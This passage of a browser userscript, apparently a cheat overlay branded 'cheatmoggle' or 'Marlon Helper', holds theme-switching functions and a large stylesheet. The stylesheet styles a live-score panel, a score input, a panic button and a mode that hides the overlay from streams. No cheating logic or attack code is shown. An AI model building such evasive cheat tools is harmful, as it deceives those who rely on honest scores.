['Log', 'Femboy Log'],
['Credits', 'Femboy Credits'],
['Developers', 'Femboy Devs'],
['Join Discord', 'Join Femboy'],
['Free', 'Femboy Free'],
['Range', 'Femboy Range'],
['Fixed', 'Femboy Fixed'],
['Static', 'Femboy Static'],
['Dynamic', 'Femboy Dynamic'],
];
const rootEl = document.getElementById('cm-root');
if (!rootEl) return;
for (const el of rootEl.querySelectorAll('*')) {
if (el.children.length > 0) continue;
const t = el.textContent.trim();
if (!t) continue;
if (active) {
for (const [orig, femboy] of pairs) {
if (t === orig) { el.textContent = femboy; break; }
}
} else {
for (const [orig, femboy] of pairs) {
if (t === femboy) { el.textContent = orig; break; }
}
}
}
}
function applyTheme(themeName) {
const theme = THEMES[themeName] || THEMES.midnight;
CONFIG.theme = themeName;
document.documentElement.style.setProperty('--cm-primary', theme.primary);
document.documentElement.style.setProperty('--cm-primary-rgb', theme.primaryRgb);
document.documentElement.style.setProperty('--cm-secondary', theme.secondary);
document.documentElement.style.setProperty('--cm-accent', theme.accent);
document.documentElement.style.setProperty('--cm-accent-rgb', theme.accentRgb);
document.documentElement.style.setProperty('--cm-success', theme.success);
document.documentElement.style.setProperty('--cm-warning', theme.warning);
document.documentElement.style.setProperty('--cm-danger', theme.danger);
document.documentElement.style.setProperty('--cm-bg-dark', theme.bgDark);
document.documentElement.style.setProperty('--cm-bg-card', theme.bgCard);
document.documentElement.style.setProperty('--cm-bg-elevated', theme.bgElevated);
document.documentElement.style.setProperty('--cm-border', theme.border);
document.documentElement.style.setProperty('--cm-text', theme.text);
document.documentElement.style.setProperty('--cm-text-muted', theme.textMuted);
const isFemboy = themeName === 'femboy';
const waifuSection = document.getElementById('cm-waifu-section');
if (waifuSection) waifuSection.style.display = isFemboy ? 'block' : 'none';
const titleEl = document.querySelector('.cm-title');
if (titleEl) titleEl.textContent = isFemboy ? 'femboymoggle!~ uwu!' : 'Marlon Helper';
const toggleBtn = document.getElementById('cm-toggle-btn');
if (toggleBtn) {
toggleBtn.innerHTML = isFemboy
? `<div style="width:100%;height:100%;border-radius:50%;overflow:hidden;background:url('https://cdn.frostedbrowser.cfd/cheatmoggle-assets/cheatmogglewaifu.png') center 5%/auto 320% no-repeat;"></div>`
: `<video autoplay muted loop playsinline src="https://v16m.tiktokcdn-us.com/b23435e11c9f7f9419e0287e41c8b532/6a31e5b4/video/tos/no1a/tos-no1a-ve-0068-no/owoRDEgqQ1ogRHElIB0aMkFDQGoA3FfmkOAe6k/?a=1233&bti=OUBzOTg7QGo6OjZAL3AjLTAzYCMxNDNg&&bt=1664&ft=kLx3-yt4Z9o0PDFS3k3aQ9PweKA6JE.C~&mime_type=video_mp4&rc=ZmQ2ZjM0aGQ1ZzY4M2QzZ0BpMzluZGw5cjw5MzMzbzczNUBfNDReXi82XzUxY2EtNC5iYSNeZS9hMmQ0cWFhLS1kMTFzcw%3D%3D&vvpl=1&l=20260616180916969A7621F7670E143221&btag=e000b0000" style="width:40px;height:40px;border-radius:6px;object-fit:cover;"></video>`;
}
const logoIcon = document.querySelector('.cm-logo-icon');
if (logoIcon) {
logoIcon.innerHTML = isFemboy
? `<div style="width:100%;height:100%;border-radius:6px;overflow:hidden;background:url('https://cdn.frostedbrowser.cfd/cheatmoggle-assets/cheatmogglewaifu.png') center 5%/auto 320% no-repeat;"></div>`
: `<video autoplay muted loop playsinline src="https://v16m.tiktokcdn-us.com/b23435e11c9f7f9419e0287e41c8b532/6a31e5b4/video/tos/no1a/tos-no1a-ve-0068-no/owoRDEgqQ1ogRHElIB0aMkFDQGoA3FfmkOAe6k/?a=1233&bti=OUBzOTg7QGo6OjZAL3AjLTAzYCMxNDNg&&bt=1664&ft=kLx3-yt4Z9o0PDFS3k3aQ9PweKA6JE.C~&mime_type=video_mp4&rc=ZmQ2ZjM0aGQ1ZzY4M2QzZ0BpMzluZGw5cjw5MzMzbzczNUBfNDReXi82XzUxY2EtNC5iYSNeZS9hMmQ0cWFhLS1kMTFzcw%3D%3D&vvpl=1&l=20260616180916969A7621F7670E143221&btag=e000b0000" style="width:100%;height:100%;border-radius:6px;object-fit:cover;display:block;"></video>`;
}
const statusPill = document.getElementById('cm-status-pill');
const modePill = document.getElementById('cm-mode-pill');
if (isFemboy) {
if (statusPill) { statusPill.style.background = 'rgba(255,105,180,0.25)'; statusPill.style.color = '#ff69b4'; statusPill.style.border = '1px solid rgba(255,105,180,0.4)'; }
if (modePill) { modePill.style.background = 'rgba(255,182,193,0.2)'; modePill.style.color = '#ffb6c1'; modePill.style.border = '1px solid rgba(255,182,193,0.3)'; }
} else {
if (statusPill) { statusPill.style.background = ''; statusPill.style.color = ''; statusPill.style.border = ''; }
if (modePill) { modePill.style.background = ''; modePill.style.color = ''; modePill.style.border = ''; }
}
applyFemboyLabels(isFemboy);
saveConfig();
}
const style = document.createElement('style');
style.textContent = `
@import url('https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700;800;900&family=Space+Grotesk:wght@400;500;600;700&family=JetBrains+Mono:wght@400;500;600;700&display=swap');
:root {
--cm-primary: #6366f1;
--cm-primary-rgb: 99,102,241;
--cm-secondary: #8b5cf6;
--cm-accent: #22d3ee;
--cm-accent-rgb: 34,211,238;
--cm-success: #10b981;
--cm-warning: #f59e0b;
--cm-danger: #ef4444;
--cm-bg-dark: #0a0a0f;
--cm-bg-card: #12121a;
--cm-bg-elevated: #1a1a24;
--cm-border: rgba(255,255,255,0.08);
--cm-text: #e4e4e7;
--cm-text-muted: #71717a;
--cm-glow: 0 0 30px rgba(0,0,0,0.6);
}
#cm-toggle-btn {
position: fixed;
top: 16px;
right: 16px;
z-index: 999999;
width: 56px;
height: 56px;
border-radius: 50%;
background: radial-gradient(circle at 30% 25%, rgba(var(--cm-primary-rgb),0.35), rgba(0,0,0,0.92) 72%);
border: 2px solid var(--cm-primary);
padding: 0;
overflow: visible;
cursor: grab;
display: flex;
align-items: center;
justify-content: center;
box-shadow: 0 0 0 1px rgba(0,0,0,0.35), 0 0 18px rgba(0,0,0,0.55), 0 6px 20px rgba(0,0,0,0.5);
transition: transform 0.22s cubic-bezier(0.34,1.56,0.64,1), box-shadow 0.22s ease, border-color 0.22s ease;
user-select: none;
touch-action: manipulation;
}
/* pulsating themed rings */
#cm-toggle-btn::before,
#cm-toggle-btn::after {
content: '';
position: absolute;
inset: -2px;
border-radius: 50%;
border: 2px solid var(--cm-primary);
pointer-events: none;
will-change: transform, opacity;
}
#cm-toggle-btn::before { animation: cmPulseRing 2.1s cubic-bezier(0.2,0.6,0.3,1) infinite; }
#cm-toggle-btn::after { animation: cmPulseRing 2.1s cubic-bezier(0.2,0.6,0.3,1) infinite 1.05s; }
@keyframes cmPulseRing {
0% { transform: scale(1); opacity: 0.85; }
70% { transform: scale(1.95); opacity: 0; }
100% { transform: scale(1.95); opacity: 0; }
}
#cm-toggle-btn img {
width: 100% !important;
height: 100% !important;
border-radius: 50% !important;
object-fit: cover;
position: relative;
z-index: 2;
box-shadow: inset 0 0 0 1px rgba(0,0,0,0.45);
}
#cm-toggle-btn:active { cursor: grabbing; }
#cm-toggle-btn:hover {
transform: scale(1.12);
border-color: var(--cm-accent);
box-shadow: 0 0 0 1px rgba(0,0,0,0.6), 0 0 30px rgba(0,0,0,0.85), 0 10px 26px rgba(0,0,0,0.6);
}
#cm-toggle-btn.dragging { cursor: grabbing; transition: none; }
#cm-toggle-btn svg {
width: 24px;
height: 24px;
fill: white;
filter: drop-shadow(0 1px 2px rgba(0,0,0,0.3));
}
#cm-root {
position: fixed;
top: 70px;
right: 16px;
z-index: 999998;
width: 380px;
min-width: 320px;
max-width: 98vw;
max-height: 92vh;
min-height: 500px;
background: var(--cm-bg-dark);
border-radius: 12px;
font-family: 'Inter', -apple-system, sans-serif;
color: var(--cm-text);
border: 1px solid var(--cm-border);
box-shadow: 0 0 40px rgba(var(--cm-primary-rgb),0.1), 0 15px 30px rgba(0,0,0,0.4);
display: none;
opacity: 0;
overflow: auto;
transition: opacity 0.2s ease, transform 0.2s ease;
transform: translateY(-10px) scale(0.98);
scrollbar-width: none;
-ms-overflow-style: none;
}
#cm-root::-webkit-scrollbar { display: none; }
#cm-root.visible {
display: flex;
flex-direction: column;
opacity: 1;
transform: translateY(0) scale(1);
}
#cm-root .cm-resize-handle {
position: absolute;
z-index: 99;
}
#cm-root .cm-resize-handle.cm-rz-top {
top: -4px; left: 8px; right: 8px; height: 8px;
cursor: n-resize;
}
#cm-root .cm-resize-handle.cm-rz-bottom {
bottom: -4px; left: 8px; right: 8px; height: 8px;
cursor: s-resize;
}
#cm-root .cm-resize-handle.cm-rz-left {
top: 8px; bottom: 8px; left: -4px; width: 8px;
cursor: w-resize;
}
#cm-root .cm-resize-handle.cm-rz-right {
top: 8px; bottom: 8px; right: -4px; width: 8px;
cursor: e-resize;
}
#cm-root .cm-resize-handle.cm-rz-tl {
top: -4px; left: -4px; width: 14px; height: 14px;
cursor: nw-resize;
}
#cm-root .cm-resize-handle.cm-rz-tr {
top: -4px; right: -4px; width: 14px; height: 14px;
cursor: ne-resize;
}
#cm-root .cm-resize-handle.cm-rz-bl {
bottom: -4px; left: -4px; width: 14px; height: 14px;
cursor: sw-resize;
}
#cm-root .cm-resize-handle.cm-rz-br {
bottom: -4px; right: -4px; width: 14px; height: 14px;
cursor: se-resize;
}
#cm-root.dragging { transition: none; user-select: none; }
.cm-header {
padding: 8px 10px 6px;
background: linear-gradient(180deg, rgba(var(--cm-primary-rgb),0.08) 0%, transparent 100%);
border-bottom: 1px solid var(--cm-border);
cursor: grab;
user-select: none;
flex-shrink: 0;
}
.cm-header:active { cursor: grabbing; }
.cm-title-row {
display: flex;
align-items: center;
justify-content: space-between;
margin-bottom: 6px;
}
.cm-logo { display: flex; align-items: center; gap: 6px; }
.cm-logo-icon {
width: 68px; height: 68px;
border-radius: 10px;
background: linear-gradient(135deg, var(--cm-primary), var(--cm-secondary));
display: flex; align-items: center; justify-content: center;
box-shadow: 0 0 20px rgba(0,0,0,0.6);
}
.cm-logo-icon svg { width: 14px; height: 14px; fill: white; }
.cm-title {
font-family: 'Space Grotesk', sans-serif;
font-size: 13px; font-weight: 700; letter-spacing: -0.02em;
background: linear-gradient(135deg, #fff 0%, var(--cm-accent) 100%);
-webkit-background-clip: text; -webkit-text-fill-color: transparent;
}
.cm-version {
font-size: 8px; font-weight: 600; color: var(--cm-text-muted);
background: var(--cm-bg-elevated); padding: 1px 4px; border-radius: 3px; margin-left: 4px;
}
.cm-free-badge {
font-size: 8px; font-weight: 800; color: #00ff88;
background: rgba(0,255,136,0.1);
border: 1px solid rgba(0,255,136,0.3);
padding: 1px 5px; border-radius: 4px; margin-left: 6px;
letter-spacing: 0.05em;
text-shadow: 0 0 6px rgba(0,255,136,0.6);
box-shadow: 0 0 6px rgba(0,255,136,0.2), inset 0 0 4px rgba(0,255,136,0.1);
animation: cmFreeBadgeGlow 2s ease-in-out infinite alternate;
}
@keyframes cmFreeBadgeGlow {
0% { text-shadow: 0 0 4px rgba(0,255,136,0.4); box-shadow: 0 0 4px rgba(0,255,136,0.15), inset 0 0 3px rgba(0,255,136,0.05); }
100% { text-shadow: 0 0 8px rgba(0,255,136,0.9), 0 0 14px rgba(0,255,136,0.4); box-shadow: 0 0 10px rgba(0,255,136,0.35), inset 0 0 6px rgba(0,255,136,0.15); }
}
.cm-status-row { display: flex; align-items: center; gap: 4px; }
.cm-pill {
padding: 2px 5px; border-radius: 4px;
font-size: 8px; font-weight: 700;
text-transform: uppercase; letter-spacing: 0.04em;
}
.cm-pill.active {
background: rgba(16,185,129,0.2); color: var(--cm-success);
border: 1px solid rgba(16,185,129,0.3);
}
.cm-pill.mode {
background: rgba(var(--cm-primary-rgb),0.2); color: var(--cm-primary);
border: 1px solid rgba(var(--cm-primary-rgb),0.3);
}
.cm-discord-link {
display: flex; align-items: center; gap: 6px;
padding: 6px 10px;
background: linear-gradient(135deg, #5865F2 0%, #7289da 100%);
border-radius: 8px; font-size: 10px; font-weight: 600;
color: white; text-decoration: none; transition: all 0.2s ease; margin-left: auto;
}
.cm-discord-link:hover { transform: translateY(-1px); box-shadow: 0 4px 12px rgba(88,101,242,0.4); }
.cm-discord-link svg { width: 14px; height: 14px; fill: currentColor; }
.cm-tabs {
display: flex; gap: 2px;
background: var(--cm-bg-card); padding: 2px; border-radius: 6px;
}
.cm-tab {
flex: 1; padding: 5px 4px; border-radius: 4px;
font-size: 9px; font-weight: 600; text-align: center;
cursor: pointer; transition: all 0.15s ease;
color: var(--cm-text-muted); background: transparent; border: none; white-space: nowrap;
}
.cm-tab:hover { color: var(--cm-text); background: rgba(255,255,255,0.03); }
.cm-tab.active {
background: var(--cm-bg-elevated); color: white;
box-shadow: 0 1px 4px rgba(0,0,0,0.2);
}
.cm-tab-locked::after {
content: '🔒';
font-size: 7px;
margin-left: 2px;
opacity: 0.6;
}
.cm-body { padding: 8px; overflow-y: auto; flex: 1; }
.cm-body::-webkit-scrollbar { width: 4px; }
.cm-body::-webkit-scrollbar-track { background: transparent; }
.cm-body::-webkit-scrollbar-thumb { background: rgba(var(--cm-primary-rgb),0.3); border-radius: 2px; }
.cm-panel { display: none; }
.cm-panel.active { display: block; animation: cmFadeIn 0.2s ease; }
@keyframes cmFadeIn { from { opacity: 0; transform: translateY(6px); } to { opacity: 1; transform: translateY(0); } }
.cm-section { margin-bottom: 8px; }
.cm-section:last-child { margin-bottom: 0; }
.cm-section-title {
font-size: 8px; font-weight: 700;
text-transform: uppercase; letter-spacing: 0.1em;
color: var(--cm-text-muted); margin-bottom: 4px;
display: flex; align-items: center; gap: 4px; justify-content: space-between;
}
.cm-section-title > span { display: flex; align-items: center; gap: 4px; }
.cm-section-title > span::after {
content: ''; width: 20px; height: 1px;
background: linear-gradient(90deg, var(--cm-border), transparent);
}
.cm-section-toggle { transform: scale(0.7); }
.cm-section-disabled { opacity: 0.4; pointer-events: none; }
.cm-divider { height: 1px; background: var(--cm-border); margin: 10px 0; }
.cm-card {
background: var(--cm-bg-card); border-radius: 8px;
padding: 6px; border: 1px solid var(--cm-border);
}
.cm-live-score {
text-align: center; padding: 8px 6px;
background: linear-gradient(135deg, rgba(var(--cm-primary-rgb),0.08), rgba(var(--cm-accent-rgb),0.05));
border-radius: 8px;
}
.cm-score-value {
font-family: 'JetBrains Mono', monospace;
font-size: 24px; font-weight: 800; letter-spacing: -0.02em; line-height: 1; margin-bottom: 2px;
}
.cm-score-tier { font-size: 9px; font-weight: 700; text-transform: uppercase; letter-spacing: 0.06em; }
.cm-row {
display: flex; align-items: center; justify-content: space-between;
padding: 4px 0; border-bottom: 1px solid var(--cm-border);
}
.cm-row:last-child { border-bottom: none; }
.cm-label { font-size: 10px; font-weight: 500; color: var(--cm-text); }
.cm-value { font-family: 'JetBrains Mono', monospace; font-size: 9px; font-weight: 600; color: var(--cm-text); }
.cm-slider-row { display: flex; flex-direction: column; gap: 2px; padding: 4px 0; border-bottom: 1px solid var(--cm-border); }
.cm-slider-row:last-child { border-bottom: none; }
.cm-slider-header { display: flex; justify-content: space-between; align-items: center; }
.cm-slider-label { font-size: 9px; font-weight: 500; }
.cm-slider-value {
font-family: 'JetBrains Mono', monospace; font-size: 9px; font-weight: 600; color: var(--cm-text);
background: var(--cm-bg-elevated); border: 1px solid var(--cm-border); padding: 1px 4px; border-radius: 3px;
}
.cm-slider-track {
position: relative; height: 4px;
background: var(--cm-bg-elevated); border-radius: 2px; overflow: hidden; border: 1px solid var(--cm-border);
}
.cm-slider-fill {
position: absolute; top: 0; left: 0; height: 100%;
background: var(--cm-text-muted); border-radius: 2px; transition: width 0.1s ease; opacity: 0.4;
}
.cm-slider {
position: absolute; top: 0; left: 0; width: 100%; height: 100%;
-webkit-appearance: none; background: transparent; cursor: pointer; margin: 0;
}
.cm-slider::-webkit-slider-thumb {
-webkit-appearance: none; width: 14px; height: 14px; border-radius: 50%;
background: var(--cm-text); cursor: pointer;
box-shadow: 0 2px 6px rgba(0,0,0,0.4); transition: transform 0.15s ease, box-shadow 0.15s ease;
}
.cm-slider::-webkit-slider-thumb:hover { transform: scale(1.15); box-shadow: 0 2px 10px rgba(0,0,0,0.5); }
.cm-toggle { position: relative; width: 32px; height: 18px; cursor: pointer; }
.cm-toggle input { opacity: 0; width: 0; height: 0; }
.cm-toggle-track {
position: absolute; inset: 0; border-radius: 11px;
background: var(--cm-bg-elevated); border: 1px solid var(--cm-border); transition: all 0.25s ease;
}
.cm-toggle input:checked + .cm-toggle-track { background: var(--cm-text); border-color: var(--cm-text); }
.cm-toggle-thumb {
position: absolute; top: 2px; left: 2px; width: 14px; height: 14px; border-radius: 50%;
background: var(--cm-text); box-shadow: 0 1px 3px rgba(0,0,0,0.3);
transition: all 0.25s cubic-bezier(0.4, 0, 0.2, 1);
}
.cm-toggle input:checked ~ .cm-toggle-thumb { left: 16px; background: var(--cm-bg-dark); }
.cm-btn-group { display: flex; gap: 3px; background: var(--cm-bg-elevated); padding: 2px; border-radius: 6px; }
.cm-btn-opt {
padding: 6px 10px; border-radius: 6px; font-size: 10px; font-weight: 700;
text-transform: uppercase; letter-spacing: 0.03em; cursor: pointer; transition: all 0.15s ease;
background: transparent; color: var(--cm-text-muted); border: none;
}
.cm-btn-opt:hover { color: var(--cm-text); }
.cm-btn-opt.active { background: var(--cm-text); color: var(--cm-bg-dark); box-shadow: 0 2px 6px rgba(0,0,0,0.3); }
.cm-preview {
margin-top: 12px; padding: 16px;
background: linear-gradient(135deg, rgba(var(--cm-primary-rgb),0.08), rgba(var(--cm-accent-rgb),0.05));
border-radius: 10px; text-align: center; border: 1px solid rgba(var(--cm-primary-rgb),0.15);
}
.cm-preview-score { font-family: 'JetBrains Mono', monospace; font-size: 32px; font-weight: 800; }
.cm-preview-tier { font-size: 11px; font-weight: 700; text-transform: uppercase; letter-spacing: 0.08em; margin-top: 4px; }
.cm-file-picker {
display: flex; align-items: center; gap: 8px; padding: 8px;
background: var(--cm-bg-elevated); border: 1px dashed var(--cm-border);
border-radius: 6px; cursor: pointer; transition: all 0.15s ease;
}
.cm-file-picker:hover { border-color: var(--cm-text); background: rgba(var(--cm-accent-rgb),0.05); }
.cm-file-icon {
width: 28px; height: 28px; border-radius: 6px;
background: var(--cm-bg-card); display: flex; align-items: center; justify-content: center;
}
.cm-file-icon svg { width: 14px; height: 14px; fill: var(--cm-text-muted); }
.cm-file-name { font-size: 10px; color: var(--cm-text-muted); flex: 1; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; }
.cm-file-name.selected { color: var(--cm-success); }
.cm-preset-section { margin-top: 6px; padding-top: 6px; border-top: 1px solid var(--cm-border); }
.cm-preset-label { font-size: 8px; font-weight: 600; text-transform: uppercase; letter-spacing: 0.05em; color: var(--cm-text-muted); display: block; margin-bottom: 4px; }
.cm-preset-grid { display: grid; grid-template-columns: repeat(3, 1fr); gap: 4px; }
.cm-preset-btn {
padding: 4px 6px; font-size: 8px; font-weight: 500;
border: 1px solid var(--cm-border); border-radius: 4px;
background: var(--cm-bg-elevated); color: var(--cm-text); cursor: pointer; transition: all 0.15s ease; text-align: center;
}
.cm-preset-btn:hover { background: var(--cm-text); color: var(--cm-bg-dark); border-color: var(--cm-text); }
.cm-preset-btn.active { background: var(--cm-text); color: var(--cm-bg-dark); border-color: var(--cm-text); }
.cm-color-row { display: flex; align-items: center; gap: 10px; }
.cm-color-input { width: 32px; height: 32px; border-radius: 8px; border: none; cursor: pointer; padding: 0; background: none; }
.cm-input {
background: var(--cm-bg-elevated); border: 1px solid var(--cm-border);
border-radius: 6px; padding: 6px 10px;
font-family: 'JetBrains Mono', monospace; font-size: 11px; color: var(--cm-text);
outline: none; transition: all 0.2s ease;
}
.cm-input:focus { border-color: var(--cm-primary); box-shadow: 0 0 0 2px rgba(var(--cm-primary-rgb),0.2); }
.cm-score-input {
-moz-appearance: textfield;
}
.cm-score-input::-webkit-outer-spin-button,
.cm-score-input::-webkit-inner-spin-button {
-webkit-appearance: none;
margin: 0;
}
.cm-select {
background: var(--cm-bg-elevated); border: 1px solid var(--cm-border);
border-radius: 6px; padding: 6px 10px;
font-family: 'JetBrains Mono', monospace; font-size: 11px; color: var(--cm-text);
outline: none; cursor: pointer; transition: all 0.2s ease;
}
.cm-select:focus { border-color: var(--cm-primary); box-shadow: 0 0 0 2px rgba(var(--cm-primary-rgb),0.2); }
.cm-select option { background: var(--cm-bg-dark); color: var(--cm-text); }
.cm-btn-small {
background: linear-gradient(135deg, var(--cm-primary), var(--cm-secondary));
border: none; border-radius: 4px; padding: 4px 10px;
font-family: 'Inter', sans-serif; font-size: 10px; font-weight: 600;
color: white; cursor: pointer; transition: all 0.2s ease;
}
.cm-btn-small:hover { transform: scale(1.02); filter: brightness(1.1); }
.cm-shapes { display: flex; gap: 4px; }
.cm-shape-btn {
width: 32px; height: 32px; border-radius: 8px;
border: 1px solid var(--cm-border); background: var(--cm-bg-elevated);
cursor: pointer; font-size: 14px; display: flex; align-items: center; justify-content: center; transition: all 0.15s ease;
}
.cm-shape-btn:hover { background: rgba(var(--cm-primary-rgb),0.15); }
.cm-shape-btn.active { background: linear-gradient(135deg, var(--cm-primary), var(--cm-secondary)); border-color: transparent; }
.cm-theme-grid { display: grid; grid-template-columns: repeat(3, 1fr); gap: 4px; margin-top: 4px; }
.cm-theme-btn {
padding: 6px 4px; border-radius: 6px; border: 1px solid var(--cm-border);
background: var(--cm-bg-elevated); cursor: pointer; transition: all 0.15s ease; text-align: center;
}
.cm-theme-btn:hover { border-color: rgba(var(--cm-primary-rgb),0.4); }
.cm-theme-btn.active { border-color: var(--cm-text); box-shadow: 0 0 8px rgba(var(--cm-primary-rgb),0.2); }
.cm-theme-preview { width: 16px; height: 16px; border-radius: 4px; margin: 0 auto 3px; }
.cm-theme-name { font-size: 8px; font-weight: 600; color: var(--cm-text); }
.cm-panic-btn {
width: 100%; padding: 6px 10px; font-size: 9px; font-weight: 600;
border: 1px solid var(--cm-danger); border-radius: 4px;
background: rgba(239,68,68,0.1); color: var(--cm-danger); cursor: pointer; transition: all 0.15s ease;
}
.cm-panic-btn:hover { background: var(--cm-danger); color: white; }
#cm-root.stream-hidden,
#cm-toggle-btn.stream-hidden { display: none !important; opacity: 0 !important; pointer-events: none !important; }
#cm-watermark {
position: fixed; bottom: 16px; right: 16px; z-index: 999990;
padding: 6px 12px; border-radius: 8px;
background: rgba(var(--cm-primary-rgb),0.1); backdrop-filter: blur(8px);
border: 1px solid rgba(var(--cm-primary-rgb),0.2);
font-family: 'JetBrains Mono', monospace; font-size: 9px; font-weight: 600;
color: rgba(255,255,255,0.35); letter-spacing: 0.05em; cursor: grab; user-select: none;
}
.cm-toggle-track, .cm-toggle-thumb, .cm-btn-opt, .cm-tab, .cm-card, .cm-section,
.cm-file-picker, .cm-theme-btn, .cm-panic-btn, .cm-input, .cm-slider-fill {
transition: all 0.25s cubic-bezier(0.4, 0, 0.2, 1) !important;
}
.cm-card:hover { transform: translateY(-1px); box-shadow: 0 4px 12px rgba(0,0,0,0.15); }
.cm-btn-opt:active, .cm-tab:active { transform: scale(0.96); }
.cm-toggle input:checked ~ .cm-toggle-thumb { transform: translateX(0); }
#cm-root { transition: opacity 0.3s ease, transform 0.3s cubic-bezier(0.4, 0, 0.2, 1), visibility 0.3s ease; }
#cm-root:not(.visible) { opacity: 0; transform: translateX(20px) scale(0.95); visibility: hidden; pointer-events: none; }
#cm-root.visible { opacity: 1; transform: translateX(0) scale(1); visibility: visible; display: flex; }
#cm-disclaimer {
position: fixed; bottom: 16px; left: 16px; z-index: 999999;
padding: 10px 14px; border-radius: 8px;
background: rgba(234, 179, 8, 0.15); backdrop-filter: blur(10px);
border: 1px solid rgba(234, 179, 8, 0.4);
font-family: 'Inter', -apple-system, sans-serif; font-size: 11px; font-weight: 500;
color: #eab308; display: flex; align-items: center; gap: 10px;
animation: cm-slide-in 0.4s cubic-bezier(0.4, 0, 0.2, 1);
}
#cm-disclaimer.hiding {
animation: cm-slide-out 0.3s cubic-bezier(0.4, 0, 0.2, 1) forwards;
}
@keyframes cm-slide-in {
from { opacity: 0; transform: translateY(20px); }
to { opacity: 1; transform: translateY(0); }
}
@keyframes cm-slide-out {
from { opacity: 1; transform: translateY(0); }
to { opacity: 0; transform: translateY(20px); }
}
#cm-disclaimer-close {
background: none; border: none; color: #eab308; cursor: pointer;
padding: 2px; display: flex; align-items: center; justify-content: center;
border-radius: 4px; transition: all 0.2s ease;
}
#cm-disclaimer-close:hover { background: rgba(234, 179, 8, 0.2); }
#cm-disclaimer-close svg { width: 14px; height: 14px; }
/* ============================================================
ENHANCED UI LAYER — visual polish & animations
(overrides above; all original classes/ids preserved)
============================================================ */
@keyframes cmGlowPulse {
0%,100% { box-shadow: 0 0 0 0 rgba(0,0,0,0.45); }
50% { box-shadow: 0 0 10px 2px rgba(0,0,0,0.0); }
}
@keyframes cmSheen {
0% { background-position: -150% 0; }
100% { background-position: 250% 0; }
}
@keyframes cmBorderFlow {
0% { background-position: 0% 50%; }
100% { background-position: 200% 50%; }
}
@keyframes cmRise {
from { opacity: 0; transform: translateY(8px); }
to { opacity: 1; transform: translateY(0); }
}
@keyframes cmScorePulse {
0%,100% { transform: scale(1); text-shadow: 0 0 14px rgba(var(--cm-primary-rgb),0.35); }
50% { transform: scale(1.04); text-shadow: 0 0 22px rgba(var(--cm-primary-rgb),0.6); }
}
@keyframes cmSpin { to { transform: rotate(360deg); } }
/* ---- Panel shell: glassy + animated gradient top accent ---- */
#cm-root {
background: var(--cm-bg-dark) !important;
backdrop-filter: blur(18px) saturate(135%);
-webkit-backdrop-filter: blur(18px) saturate(135%);
border: 1px solid var(--cm-border) !important;
border-radius: 16px !important;
box-shadow:
0 0 0 1px rgba(255,255,255,0.03),
0 24px 60px rgba(0,0,0,0.55) !important;
}
#cm-root::before {
display: none !important;
}
/* ---- Header: subtle moving sheen ---- */
.cm-header {
position: relative;
padding: 12px 12px 10px !important;
overflow: hidden;
background:
linear-gradient(180deg, rgba(var(--cm-primary-rgb),0.10) 0%, transparent 100%) !important;
}
.cm-header::after {
content: '';
position: absolute; inset: 0;
background: linear-gradient(115deg, transparent 35%, rgba(255,255,255,0.06) 50%, transparent 65%);
background-size: 250% 100%;
animation: cmSheen 6s ease-in-out infinite;
pointer-events: none;
}
.cm-title {
background: linear-gradient(135deg, #fff 0%, var(--cm-accent) 50%, var(--cm-primary) 100%) !important;
background-size: 200% auto !important;
-webkit-background-clip: text !important;
background-clip: text !important;
-webkit-text-fill-color: transparent !important;
animation: cmBorderFlow 5s linear infinite;
font-size: 14px !important;
}
.cm-logo-icon { animation: cmGlowPulse 2.6s ease-in-out infinite; }
/* ---- Status pill: live glow ---- */
.cm-pill.active {
position: relative;
animation: cmGlowPulse 2s ease-in-out infinite;
}
.cm-pill { transition: all 0.25s ease; }
/* ---- Tabs: animated hover + active ---- */
.cm-tabs { gap: 3px !important; border-radius: 9px !important; padding: 3px !important; }
.cm-tab {
position: relative; overflow: hidden; border-radius: 7px !important;
transition: color 0.2s ease, background 0.2s ease, transform 0.12s ease;
}
.cm-tab.active {
background: linear-gradient(135deg, rgba(var(--cm-primary-rgb),0.22), rgba(var(--cm-accent-rgb),0.12)) !important;
color: #fff !important;
box-shadow: 0 0 0 1px rgba(var(--cm-primary-rgb),0.3), 0 2px 8px rgba(var(--cm-primary-rgb),0.18) !important;
}
.cm-tab.active::after {
content: '';
position: absolute; bottom: 2px; left: 50%; transform: translateX(-50%);
width: 16px; height: 2px; border-radius: 2px;
background: var(--cm-primary);
box-shadow: 0 0 6px var(--cm-primary);
}
.cm-tab:hover { transform: translateY(-1px); }
/* ---- Panels stagger rows on enter ---- */
.cm-panel.active .cm-section { animation: cmRise 0.35s ease both; }
.cm-panel.active .cm-section:nth-child(2) { animation-delay: 0.05s; }
.cm-panel.active .cm-section:nth-child(3) { animation-delay: 0.10s; }
.cm-panel.active .cm-section:nth-child(4) { animation-delay: 0.15s; }
.cm-panel.active .cm-section:nth-child(5) { animation-delay: 0.20s; }
/* ---- Cards: gradient + glow lift ---- */
.cm-card {
background: linear-gradient(160deg, var(--cm-bg-card), var(--cm-bg-dark)) !important;
border: 1px solid var(--cm-border) !important;
border-radius: 10px !important;
padding: 8px !important;
position: relative;
}
.cm-card:hover {
transform: translateY(-2px);
border-color: rgba(var(--cm-primary-rgb),0.35) !important;
box-shadow: 0 8px 22px rgba(0,0,0,0.4), 0 0 0 1px rgba(var(--cm-primary-rgb),0.15) !important;
}
.cm-section-title { font-size: 9px !important; cursor: pointer; user-select: none; }
/* ---- Collapsible sections ---- */
.cm-section-content {
overflow: hidden;
max-height: 2000px;
transition: max-height 0.35s ease, opacity 0.25s ease, margin 0.25s ease;
opacity: 1;
}
.cm-section.collapsed .cm-section-content {
max-height: 0;
opacity: 0;
margin: 0;
pointer-events: none;
}
.cm-section.collapsed .cm-section-title { margin-bottom: 0; }
.cm-chevron {
font-size: 6px;
transition: transform 0.25s ease;
display: inline-block;
margin-right: 3px;
color: var(--cm-text-muted);
opacity: 0.4;
}
.cm-section-title:hover .cm-chevron { opacity: 0.9; }
.cm-section.collapsed .cm-chevron { transform: rotate(-90deg); }
/* ---- Rows: hover highlight ---- */
.cm-row { transition: background 0.2s ease, padding 0.2s ease; border-radius: 6px; }
.cm-row:hover { background: rgba(var(--cm-primary-rgb),0.05); }
/* ---- Toggles: glow when on ---- */
.cm-toggle input:checked + .cm-toggle-track {
background: linear-gradient(135deg, var(--cm-primary), var(--cm-secondary)) !important;
border-color: transparent !important;
box-shadow: 0 0 10px rgba(var(--cm-primary-rgb),0.5);
}
.cm-toggle input:checked ~ .cm-toggle-thumb {
background: #fff !important;
